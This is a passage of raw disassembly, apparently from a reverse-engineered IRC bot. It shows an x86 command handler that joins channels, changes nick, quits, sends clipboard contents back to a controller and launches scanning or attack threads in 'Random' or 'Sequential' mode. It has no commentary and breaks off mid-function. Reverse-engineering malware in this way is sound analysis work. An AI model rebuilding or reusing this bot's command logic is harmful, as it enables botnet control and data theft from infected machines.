dword_4450D4[ecx], eax jz short loc_413929 loc_413913: ; CODE XREF: sub_40EE72+4AB5j cmp [ebp+var_560], ebx jnz loc_414E11 push 32h nop call near ptr 25E041Ch jmp short loc_413913 ; --------------------------------------------------------------------------- loc_413929: ; CODE XREF: sub_40EE72+4A9Fj nop call near ptr 2630B7Ah push eax push offset dword_4385B0 jmp loc_414E02 ; --------------------------------------------------------------------------- loc_41393A: ; CODE XREF: sub_40EE72+1BDCj ; sub_40EE72+1BF3j push edi call near ptr 27A0DD4h nop test eax, eax jz short loc_413964 push edi push offset dword_4360D4 lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A add esp, 10h jmp loc_4110DC ; --------------------------------------------------------------------------- loc_413964: ; CODE XREF: sub_40EE72+4AD1j push offset dword_436A74 call sub_40AA35 pop ecx push eax jmp loc_414564 ; --------------------------------------------------------------------------- loc_413975: ; CODE XREF: sub_40EE72+1BAEj ; sub_40EE72+1BC5j push edi call sub_41781F push eax call sub_415419 pop ecx pop ecx push 1 pop esi cmp eax, esi push edi jnz short loc_413992 push offset unk_43609C jmp short loc_413997 ; --------------------------------------------------------------------------- loc_413992: ; CODE XREF: sub_40EE72+4B17j push offset unk_436058 loc_413997: ; CODE XREF: sub_40EE72+4B1Ej lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_411100 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h jmp loc_411100 ; --------------------------------------------------------------------------- loc_4139D0: ; CODE XREF: sub_40EE72+1B80j ; sub_40EE72+1B97j push ebx push ebx push edi push [ebp+var_4] push ebx push [ebp+arg_4] call sub_41518A add esp, 18h cmp eax, 1 push edi jnz short loc_4139F2 push offset unk_436024 jmp loc_4110B1 ; --------------------------------------------------------------------------- loc_4139F2: ; CODE XREF: sub_40EE72+4B74j push offset unk_435FE4 jmp loc_4110B1 ; --------------------------------------------------------------------------- loc_4139FC: ; CODE XREF: sub_40EE72+1B52j ; sub_40EE72+1B69j push edi call dword_43F6A8 cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_413A36 push 2 lea eax, [ebp+arg_0] push 4 push eax call dword_43F620 cmp eax, ebx jz short loc_413A51 push dword ptr [eax] loc_413A1F: ; CODE XREF: sub_40EE72+4BDDj push edi lea eax, [ebp+var_2DC] push offset dword_435FB8 push eax call sub_4172B0 add esp, 10h jmp short loc_413A64 ; --------------------------------------------------------------------------- loc_413A36: ; CODE XREF: sub_40EE72+4B97j push edi call dword_43F6EC cmp eax, ebx jz short loc_413A51 mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_43F6F4 push eax jmp short loc_413A1F ; --------------------------------------------------------------------------- loc_413A51: ; CODE XREF: sub_40EE72+4BA9j ; sub_40EE72+4BCDj push offset dword_435F80 loc_413A56: ; CODE XREF: sub_40EE72+3E2Fj ; sub_40EE72+3FBEj ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 pop ecx pop ecx loc_413A64: ; CODE XREF: sub_40EE72+2A25j ; sub_40EE72+3B37j ... cmp [ebp+var_8], ebx jnz loc_414AC3 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h jmp loc_414AC3 ; --------------------------------------------------------------------------- loc_413A8E: ; CODE XREF: sub_40EE72+1B24j ; sub_40EE72+1B3Bj push 7Fh push edi push [ebp+arg_14] call sub_418C10 add esp, 0Ch push edi push offset dword_435F4C jmp loc_410E48 ; --------------------------------------------------------------------------- loc_413AA7: ; CODE XREF: sub_40EE72+1AF6j ; sub_40EE72+1B0Dj push 5 push ebx push ebx push edi push offset aOpen ; "open" push ebx call dword_43F5DC test eax, eax push edi jz short loc_413AC7 push offset unk_435F10 jmp loc_4110B1 ; --------------------------------------------------------------------------- loc_413AC7: ; CODE XREF: sub_40EE72+4C49j push offset unk_435ECC jmp loc_4110B1 ; --------------------------------------------------------------------------- loc_413AD1: ; CODE XREF: sub_40EE72+1AC8j ; sub_40EE72+1ADFj mov al, [edi] mov byte_42F5C4, al movsx eax, byte ptr [edi] push eax push offset dword_435E98 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_413AE6: ; CODE XREF: sub_40EE72+1A9Aj ; sub_40EE72+1AB1j push edi call sub_41781F test eax, eax pop ecx jle loc_414F47 push edi call sub_41781F cmp eax, 1F4h pop ecx jge loc_414F47 push ebx push ebx lea eax, [ebp+var_B8] push 2 push eax call sub_415D01 add esp, 10h push eax lea eax, [ebp+var_2DC] push offset dword_4367E0 push eax call sub_4172B0 add esp, 0Ch jmp loc_412FD2 ; --------------------------------------------------------------------------- loc_413B34: ; CODE XREF: sub_40EE72+1A6Cj ; sub_40EE72+1A83j push edi call sub_41781F test eax, eax pop ecx jle loc_40F239 push edi call sub_41781F mov esi, 1F4h pop ecx cmp eax, esi jge loc_40F239 push offset aQuitLater ; "QUIT :later\r\n" push edi call sub_41781F imul eax, 234h pop ecx push dword_4450CC[eax] call sub_40D633 pop ecx pop ecx push esi nop call near ptr 25E041Ch push edi call sub_41781F imul eax, 234h pop ecx push dword_4450CC[eax] call dword_43F700 push [ebp+var_10] push edi call sub_41781F imul eax, 234h pop ecx push dword_4450D4[eax] call near ptr 27B093Ah nop push edi call sub_41781F imul eax, 234h push edi mov dword_4450D4[eax], ebx call sub_41781F imul eax, 234h pop ecx pop ecx mov byte ptr dword_444EC0[eax], bl jmp loc_40F239 ; --------------------------------------------------------------------------- loc_413BDD: ; CODE XREF: sub_40EE72+1A3Ej ; sub_40EE72+1A55j push edi push offset aAll ; "all" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_413C1B call sub_416F25 cmp eax, ebx jle short loc_413C11 push eax push offset dword_435E4C loc_413BFD: ; CODE XREF: sub_40EE72+15E2j ; sub_40EE72+2A8Fj ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 loc_413C09: ; CODE XREF: sub_40EE72+3CA6j add esp, 0Ch jmp loc_41460C ; --------------------------------------------------------------------------- loc_413C11: ; CODE XREF: sub_40EE72+4D83j push offset dword_435E14 jmp loc_4145FE ; --------------------------------------------------------------------------- loc_413C1B: ; CODE XREF: sub_40EE72+4D7Aj mov eax, [ebp+var_C0] lea edi, [eax+1] cmp edi, 20h jnb loc_40F239 lea eax, [ebp+edi*4+var_94] mov [ebp+arg_24], eax loc_413C37: ; CODE XREF: sub_40EE72+4E36j mov eax, [ebp+arg_24] mov esi, [eax] cmp esi, ebx jz loc_40F239 push esi call sub_41781F push eax call sub_416E97 pop ecx pop ecx test eax, eax push esi jz short loc_413C5E push offset dword_435DE0 jmp short loc_413C63 ; --------------------------------------------------------------------------- loc_413C5E: ; CODE XREF: sub_40EE72+4DE3j push offset dword_435DA4 loc_413C63: ; CODE XREF: sub_40EE72+4DEAj lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_413C93 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_413C93: ; CODE XREF: sub_40EE72+4E03j lea eax, [ebp+var_2DC] push eax call sub_40BF6D add [ebp+arg_24], 4 inc edi cmp edi, 20h pop ecx jb short loc_413C37 jmp loc_40F239 ; --------------------------------------------------------------------------- loc_413CAF: ; CODE XREF: sub_40EE72+1A10j ; sub_40EE72+1A27j cmp [ebp+var_C], ebx jz loc_414F47 push edi push [ebp+var_C] call sub_417880 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_414F47 push esi push offset dword_428598 push [ebp+arg_4] call sub_40D633 add esp, 0Ch push esi push offset dword_435D7C jmp loc_414F40 ; --------------------------------------------------------------------------- loc_413CE9: ; CODE XREF: sub_40EE72+19E2j ; sub_40EE72+19F9j push edi push offset dword_436710 push [ebp+arg_4] call sub_40D633 add esp, 0Ch push edi push offset dword_435D4C jmp loc_414F40 ; --------------------------------------------------------------------------- loc_413D05: ; CODE XREF: sub_40EE72+19B4j ; sub_40EE72+19CBj push [ebp+esi+var_8C] push edi push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 10h push edi push offset dword_435D1C jmp loc_414F40 ; --------------------------------------------------------------------------- loc_413D28: ; CODE XREF: sub_40EE72+1986j ; sub_40EE72+199Dj push edi push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch push edi push offset dword_435CE8 jmp loc_414F40 ; --------------------------------------------------------------------------- loc_413D44: ; CODE XREF: sub_40EE72+194Bj ; sub_40EE72+1960j mov al, byte_42F5F2 mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_42F5F2 jz loc_40F239 mov ecx, edx loc_413D5B: ; CODE XREF: sub_40EE72+4EF1j inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_413D5B cmp al, bl jz loc_40F239 mov [ebp+arg_18], edx loc_413D70: ; CODE XREF: sub_40EE72+51BCj push 8 call sub_416FA4 pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] add eax, ecx cmp eax, 258h jle short loc_413DBF push ecx lea eax, [ebp+var_2DC] push offset unk_437024 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 20h jmp loc_414025 ; --------------------------------------------------------------------------- loc_413DBF: ; CODE XREF: sub_40EE72+4F18j or [ebp+var_314], 0FFFFFFFFh cmp dword_42ACB0, ebx mov [ebp+var_318], 14h mov [ebp+var_32C], 7 mov [ebp+var_328], 140h mov [ebp+arg_0], ebx jz short loc_413E30 mov eax, [ebp+arg_18] mov edi, offset dword_42ACB0 lea esi, [eax-0Ah] loc_413DFA: ; CODE XREF: sub_40EE72+4FA0j lea eax, [edi-28h] push esi push eax call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_413E16 inc [ebp+arg_0] add edi, 3Ch cmp [edi], ebx jnz short loc_413DFA jmp short loc_413E30 ; --------------------------------------------------------------------------- loc_413E16: ; CODE XREF: sub_40EE72+4F96j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_314], eax imul ecx, 3Ch mov ecx, dword_42ACB0[ecx] mov [ebp+var_330], ecx loc_413E30: ; CODE XREF: sub_40EE72+4F7Bj ; sub_40EE72+4FA2j cmp [ebp+var_330], ebx jz loc_414039 push 10h lea eax, [ebp+arg_10] pop esi push eax lea eax, [ebp+var_2EC] push eax mov [ebp+arg_10], esi push [ebp+arg_4] call dword_43F60C mov al, [ebp+var_9C7] push esi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2E8], eax push [ebp+var_2E8] call dword_43F6F4 push eax lea eax, [ebp+var_444] push eax call sub_418C10 xor eax, eax cmp [ebp+var_9C7], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_444] push eax call sub_418F10 add esp, 14h cmp edi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_413ED2 loc_413EB0: ; CODE XREF: sub_40EE72+505Ej cmp eax, ebx jz short loc_413ED2 mov byte ptr [eax], 78h lea eax, [ebp+var_444] push 30h push eax call sub_418F10 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_413EB0 loc_413ED2: ; CODE XREF: sub_40EE72+503Cj ; sub_40EE72+5040j mov eax, [ebp+arg_4] push [ebp+var_8C] mov esi, [ebp+var_4] mov [ebp+var_334], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_308], eax lea eax, [ebp+var_434] push eax mov [ebp+var_304], 1 mov [ebp+var_30C], esi call sub_41782A mov edi, offset aF ; "#f" push offset byte_43C80C push edi call sub_4176D0 add esp, 14h test eax, eax jz short loc_413F3C push edi lea eax, [ebp+var_3B4] push 80h push eax call sub_41782A add esp, 0Ch jmp short loc_413F42 ; --------------------------------------------------------------------------- loc_413F3C: ; CODE XREF: sub_40EE72+50B1j mov [ebp+var_3B4], bl loc_413F42: ; CODE XREF: sub_40EE72+50C8j cmp [ebp+var_304], ebx mov eax, offset aRandom_0 ; "Random" jnz short loc_413F54 mov eax, offset aSequential ; "Sequential" loc_413F54: ; CODE XREF: sub_40EE72+50DBj push [ebp+var_318] lea ecx, [ebp+var_444] push [ebp+var_328] push [ebp+var_32C] push [ebp+var_330] push ecx push eax lea eax, [ebp+var_2DC] push offset unk_435C70 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 8 push eax call sub_416D5C add esp, 2Ch mov [ebp+var_324], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_444] push ebx push eax push offset sub_40797F push ebx push ebx nop call near ptr 2660BD0h mov ecx, [ebp+var_324] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_413FDE loc_413FCC: ; CODE XREF: sub_40EE72+516Aj cmp [ebp+var_300], ebx jnz short loc_413FF9 push 32h nop call near ptr 25E041Ch jmp short loc_413FCC ; --------------------------------------------------------------------------- loc_413FDE: ; CODE XREF: sub_40EE72+5158j call near ptr 2630B7Ah nop push eax lea eax, [ebp+var_2DC] push offset unk_436F14 push eax call sub_4172B0 add esp, 0Ch loc_413FF9: ; CODE XREF: sub_40EE72+5160j cmp [ebp+var_8], ebx jnz short loc_414018 push ebx lea eax, [ebp+var_2DC] push esi push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_414018: ; CODE XREF: sub_40EE72+518Aj lea eax, [ebp+var_2DC] push eax call sub_40BF6D pop ecx loc_414025: ; CODE XREF: sub_40EE72+4F48j add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_413D70 jmp loc_40F239 ; --------------------------------------------------------------------------- loc_414039: ; CODE XREF: sub_40EE72+310Aj ; sub_40EE72+4FC4j push offset unk_435C2C jmp loc_4145FE ; --------------------------------------------------------------------------- loc_414043: ; CODE XREF: sub_40EE72+1921j ; sub_40EE72+1936j push [ebp+var_8C] lea eax, [ebp+var_A4] push 80h push eax call sub_41782A mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_A8], eax mov eax, [ebp+var_4] mov [ebp+var_20], eax mov eax, [ebp+var_8] mov [ebp+var_1C], eax push offset unk_435BF4 lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A push ebx lea eax, [ebp+var_2DC] push 1Eh push eax call sub_416D5C add esp, 18h mov [ebp+var_24], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A8] push ebx push eax push offset sub_409037 push ebx push ebx call near ptr 2660BD0h nop mov ecx, [ebp+var_24] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_4140DC loc_4140C9: ; CODE XREF: sub_40EE72+5268j cmp [ebp+var_18], ebx jnz loc_414E11 push 32h call near ptr 25E041Ch nop jmp short loc_4140C9 ; --------------------------------------------------------------------------- loc_4140DC: ; CODE XREF: sub_40EE72+5255j call near ptr 2630B7Ah nop push eax push offset unk_435BA8 jmp loc_414E02 ; --------------------------------------------------------------------------- loc_4140ED: ; CODE XREF: sub_40EE72+18F7j ; sub_40EE72+190Cj push 4 call sub_416FA4 test eax, eax pop ecx jle short loc_414103 push offset unk_435B7C jmp loc_410D38 ; --------------------------------------------------------------------------- loc_414103: ; CODE XREF: sub_40EE72+5285j mov eax, [ebp+esi+var_90] cmp eax, ebx jz short loc_414126 push eax mov edi, 104h lea eax, [ebp+var_7FC] push edi push eax call sub_41782A add esp, 0Ch jmp short loc_41413A ; --------------------------------------------------------------------------- loc_414126: ; CODE XREF: sub_40EE72+529Aj mov edi, 104h lea eax, [ebp+var_7FC] push edi push eax push ebx nop call near ptr 2640000h loc_41413A: ; CODE XREF: sub_40EE72+52B2j mov esi, [ebp+esi+var_8C] cmp esi, ebx jnz short loc_41414A mov esi, offset byte_42F674 loc_41414A: ; CODE XREF: sub_40EE72+52D1j push esi lea eax, [ebp+var_6F8] push edi push eax call sub_41782A mov eax, dword_42F5AC push 7Fh push [ebp+var_8C] mov [ebp+var_5EC], eax mov eax, [ebp+arg_4] mov [ebp+var_5F0], ebx mov [ebp+var_800], eax lea eax, [ebp+var_5E8] push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_6F8] push eax lea eax, [ebp+var_7FC] push eax lea eax, [ebp+var_2DC] push [ebp+var_5EC] push offset unk_42B328 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 4 push eax call sub_416D5C add esp, 20h mov [ebp+var_5F4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_800] push ebx push eax push offset sub_406C19 push ebx push ebx call near ptr 2660BD0h nop mov ecx, [ebp+var_5F4] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_41421D loc_414207: ; CODE XREF: sub_40EE72+53A9j cmp [ebp+var_560], ebx jnz loc_410E57 push 32h nop call near ptr 25E041Ch jmp short loc_414207 ; --------------------------------------------------------------------------- loc_41421D: ; CODE XREF: sub_40EE72+5393j nop call near ptr 2630B7Ah push eax push offset unk_435B34 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_41422E: ; CODE XREF: sub_40EE72+18CDj ; sub_40EE72+18E2j mov edi, [ebp+esi+var_90] cmp edi, ebx jz short loc_41424D push edi call sub_41781F test eax, eax pop ecx jz short loc_41424D push edi call sub_41781F pop ecx jmp short loc_414252 ; --------------------------------------------------------------------------- loc_41424D: ; CODE XREF: sub_40EE72+53C5j ; sub_40EE72+53D0j mov eax, dword_42F5B0 loc_414252: ; CODE XREF: sub_40EE72+53D9j mov esi, [ebp+esi+var_8C] mov [ebp+var_57C], eax xor eax, eax cmp [ebp+var_9C4], bl setz al cmp esi, ebx mov [ebp+var_568], eax jz short loc_414285 lea eax, [ebp+var_680] push esi push eax call sub_4172B0 pop ecx pop ecx jmp short loc_4142B0 ; --------------------------------------------------------------------------- loc_414285: ; CODE XREF: sub_40EE72+5400j lea eax, [ebp+var_3FC] push 104h push eax nop call near ptr 25E04A1h push ebx push ebx lea eax, [ebp+var_2E8] push ebx push eax lea eax, [ebp+var_3FC] push eax call sub_4192B8 add esp, 14h loc_4142B0: ; CODE XREF: sub_40EE72+5411j lea eax, [ebp+var_680] push eax call sub_417AB0 cmp [ebp+eax+var_681], 5Ch pop ecx jnz short loc_4142DB lea eax, [ebp+var_680] push eax call sub_417AB0 pop ecx mov [ebp+eax+var_681], bl loc_4142DB: ; CODE XREF: sub_40EE72+5453j push [ebp+var_8C] mov esi, [ebp+arg_4] lea eax, [ebp+var_908] mov [ebp+var_90C], esi push 80h push eax call sub_41782A mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_56C], eax lea eax, [ebp+var_680] mov [ebp+var_570], edi push eax push [ebp+var_57C] push esi call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_2DC] push offset unk_42B20C push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 3 push eax call sub_416D5C add esp, 20h mov [ebp+var_574], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_90C] push ebx push eax push offset sub_405AF2 push ebx push ebx nop call near ptr 2660BD0h mov ecx, [ebp+var_574] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_414393 loc_41437D: ; CODE XREF: sub_40EE72+551Fj cmp [ebp+var_560], ebx jnz loc_4144E5 push 32h call near ptr 25E041Ch nop jmp short loc_41437D ; --------------------------------------------------------------------------- loc_414393: ; CODE XREF: sub_40EE72+5509j nop call near ptr 2630B7Ah push eax push offset unk_435AEC jmp loc_4144D6 ; --------------------------------------------------------------------------- loc_4143A4: ; CODE XREF: sub_40EE72+18A3j ; sub_40EE72+18B8j mov edi, [ebp+esi+var_90] cmp edi, ebx jz short loc_4143C3 push edi call sub_41781F test eax, eax pop ecx jz short loc_4143C3 push edi call sub_41781F pop ecx jmp short loc_4143C8 ; --------------------------------------------------------------------------- loc_4143C3: ; CODE XREF: sub_40EE72+553Bj ; sub_40EE72+5546j mov eax, dword_42F5B4 loc_4143C8: ; CODE XREF: sub_40EE72+554Fj mov [ebp+var_578], eax mov eax, [ebp+esi+var_8C] cmp eax, ebx jnz short loc_4143DF lea eax, [ebp+var_D8] loc_4143DF: ; CODE XREF: sub_40EE72+5565j push eax lea eax, [ebp+var_6B8] push 40h push eax call sub_41782A mov esi, [ebp+esi+var_88] add esp, 0Ch cmp esi, ebx jnz short loc_414401 mov esi, offset byte_43C80C loc_414401: ; CODE XREF: sub_40EE72+5588j push esi lea eax, [ebp+var_678] push 100h push eax call sub_41782A add esp, 0Ch lea eax, [ebp+var_738] push [ebp+var_8C] push 80h push eax call sub_41782A mov eax, [ebp+var_8] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_564], eax lea eax, [ebp+var_6B8] push eax mov [ebp+var_73C], esi push [ebp+var_578] mov [ebp+var_568], edi push esi call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_2DC] push offset dword_435AA0 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 6 push eax call sub_416D5C add esp, 20h mov [ebp+var_574], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_73C] push ebx push eax push offset word_41570E push ebx push ebx nop call near ptr 2660BD0h mov ecx, [ebp+var_574] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_4144CA loc_4144B8: ; CODE XREF: sub_40EE72+5656j cmp [ebp+var_560], ebx jnz short loc_4144E5 push 32h nop call near ptr 25E041Ch jmp short loc_4144B8 ; --------------------------------------------------------------------------- loc_4144CA: ; CODE XREF: sub_40EE72+5644j nop call near ptr 2630B7Ah push eax push offset dword_435A54 loc_4144D6: ; CODE XREF: sub_40EE72+3627j ; sub_40EE72+3724j ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch loc_4144E5: ; CODE XREF: sub_40EE72+360Bj ; sub_40EE72+3708j ... cmp [ebp+var_8], ebx jnz loc_414E11 push ebx push edi jmp loc_411D2F ; --------------------------------------------------------------------------- loc_4144F5: ; CODE XREF: sub_40EE72+1879j ; sub_40EE72+188Ej mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_414508 push esi call sub_41781F jmp short loc_41450F ; --------------------------------------------------------------------------- loc_414508: ; CODE XREF: sub_40EE72+568Cj push 8 call sub_416FC3 loc_41450F: ; CODE XREF: sub_40EE72+5694j cmp eax, ebx pop ecx jz loc_414F47 push eax push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_4071DB loc_41452A: ; CODE XREF: sub_40EE72+5B67j add esp, 10h jmp loc_414F47 ; --------------------------------------------------------------------------- loc_414532: ; CODE XREF: sub_40EE72+184Fj ; sub_40EE72+1864j mov eax, dword_43F590 cmp eax, ebx jz short loc_41454F call eax test eax, eax jz short loc_414548 push offset unk_435A20 jmp short loc_414564 ; --------------------------------------------------------------------------- loc_414548: ; CODE XREF: sub_40EE72+56CDj push offset unk_4359E4 jmp short loc_414564 ; --------------------------------------------------------------------------- loc_41454F: ; CODE XREF: sub_40EE72+56C7j push offset unk_4359A8 jmp short loc_414564 ; --------------------------------------------------------------------------- loc_414556: ; CODE XREF: sub_40EE72+1825j ; sub_40EE72+183Aj call sub_40AE02 test eax, eax jz short loc_41457A push offset unk_435974 loc_414564: ; CODE XREF: sub_40EE72+4AFEj ; sub_40EE72+56D4j ... lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A jmp loc_4110BD ; --------------------------------------------------------------------------- loc_41457A: ; CODE XREF: sub_40EE72+56EBj push offset unk_435938 jmp short loc_414564 ; --------------------------------------------------------------------------- loc_414581: ; CODE XREF: sub_40EE72+17FBj ; sub_40EE72+1810j cmp [ebp+var_8], ebx jnz short loc_4145A0 push ebx push [ebp+var_4] push offset aClipboardData ; "-[Clipboard Data]-" push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_4145A0: ; CODE XREF: sub_40EE72+5712j push ebx push [ebp+var_4] call sub_40AABF push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 push offset dword_4358F8 loc_4145BD: ; CODE XREF: sub_40EE72+5A09j ; sub_40EE72+5A3Bj call sub_40BF6D add esp, 18h jmp loc_414F47 ; --------------------------------------------------------------------------- loc_4145CA: ; CODE XREF: sub_40EE72+171Cj ; sub_40EE72+1731j push 7 call sub_416FA4 test eax, eax pop ecx jle short loc_4145DD push offset dword_4358C0 jmp short loc_4145FE ; --------------------------------------------------------------------------- loc_4145DD: ; CODE XREF: sub_40EE72+5762j push [ebp+var_8C] push [ebp+arg_4] call sub_40B56C pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_4145F9 push offset dword_435888 jmp short loc_4145FE ; --------------------------------------------------------------------------- loc_4145F9: ; CODE XREF: sub_40EE72+577Ej push offset dword_435858 loc_4145FE: ; CODE XREF: sub_40EE72+2C51j ; sub_40EE72+2D87j ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 pop ecx pop ecx loc_41460C: ; CODE XREF: sub_40EE72+15C6j ; sub_40EE72+2D61j ... cmp [ebp+var_8], ebx jnz loc_414E11 push ebx push [ebp+var_4] loc_414619: ; CODE XREF: sub_40EE72+3963j lea eax, [ebp+var_2DC] push eax push [ebp+var_8C] push [ebp+arg_4] loc_414629: ; CODE XREF: sub_40EE72+2ECBj call sub_40D679 add esp, 14h jmp loc_414E11 ; --------------------------------------------------------------------------- loc_414636: ; CODE XREF: sub_40EE72+16F2j ; sub_40EE72+1707j push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40A4AC jmp loc_40F236 ; --------------------------------------------------------------------------- loc_41464F: ; CODE XREF: sub_40EE72+16C8j ; sub_40EE72+16DDj push [ebp+esi+var_90] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40D320 jmp loc_40F236 ; --------------------------------------------------------------------------- loc_41466C: ; CODE XREF: sub_40EE72+169Ej ; sub_40EE72+16B3j or edi, 0FFFFFFFFh nop call near ptr 25D0889h xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_90] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_414695 push esi call sub_41781F pop ecx mov edi, eax loc_414695: ; CODE XREF: sub_40EE72+5818j mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_4146AE cmp edi, 0FFFFFFFFh jnz loc_414F47 loc_4146AE: ; CODE XREF: sub_40EE72+5831j push ebx call sub_40B721 pop ecx push eax lea eax, [ebp+var_2DC] push offset dword_435830 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 lea eax, [ebp+var_2DC] push eax call sub_40BF6D jmp loc_411A5D ; --------------------------------------------------------------------------- loc_4146F1: ; CODE XREF: sub_40EE72+1674j ; sub_40EE72+1689j push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_408C26 add esp, 0Ch push offset unk_435800 jmp loc_410D38 ; --------------------------------------------------------------------------- loc_41470F: ; CODE XREF: sub_40EE72+164Aj ; sub_40EE72+165Fj push 1Fh call sub_416FA4 test eax, eax pop ecx jle short loc_414738 cmp [ebp+var_8], ebx jnz loc_40F239 push ebx push [ebp+var_4] push offset unk_4357CC push [ebp+var_8C] jmp loc_40F7A0 ; --------------------------------------------------------------------------- loc_414738: ; CODE XREF: sub_40EE72+58A7j push [ebp+var_8C] lea eax, [ebp+var_4F0] push 80h push eax call sub_41782A mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_90] mov [ebp+var_4F4], eax mov eax, [ebp+var_4] mov [ebp+var_468], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_464], eax mov [ebp+var_46C], ebx jz short loc_414799 push esi push offset aFull ; "full" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_414799 mov [ebp+var_46C], 1 loc_414799: ; CODE XREF: sub_40EE72+590Aj ; sub_40EE72+591Bj lea eax, [ebp+var_2DC] push offset dword_435794 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 1Fh push eax call sub_416D5C add esp, 14h mov [ebp+var_470], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F4] push ebx push eax push offset sub_41533B push ebx push ebx nop call near ptr 2660BD0h mov ecx, [ebp+var_470] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_414807 loc_4147F1: ; CODE XREF: sub_40EE72+5993j cmp [ebp+var_460], ebx jnz loc_414E11 push 32h call near ptr 25E041Ch nop jmp short loc_4147F1 ; --------------------------------------------------------------------------- loc_414807: ; CODE XREF: sub_40EE72+597Dj call near ptr 2630B7Ah nop push eax push offset unk_435744 jmp loc_414E02 ; --------------------------------------------------------------------------- loc_414818: ; CODE XREF: sub_40EE72+1620j ; sub_40EE72+1635j cmp [ebp+var_8], ebx jnz short loc_414837 push ebx push [ebp+var_4] push offset dword_43571C push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_414837: ; CODE XREF: sub_40EE72+59A9j push [ebp+arg_4] call dword_43F700 call dword_43F5C8 call sub_40AC42 push ebx nop call near ptr 77E75CB5h loc_414852: ; CODE XREF: sub_40EE72+15F6j ; sub_40EE72+160Bj push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push [ebp+arg_4] push eax call sub_40B8D8 pop ecx 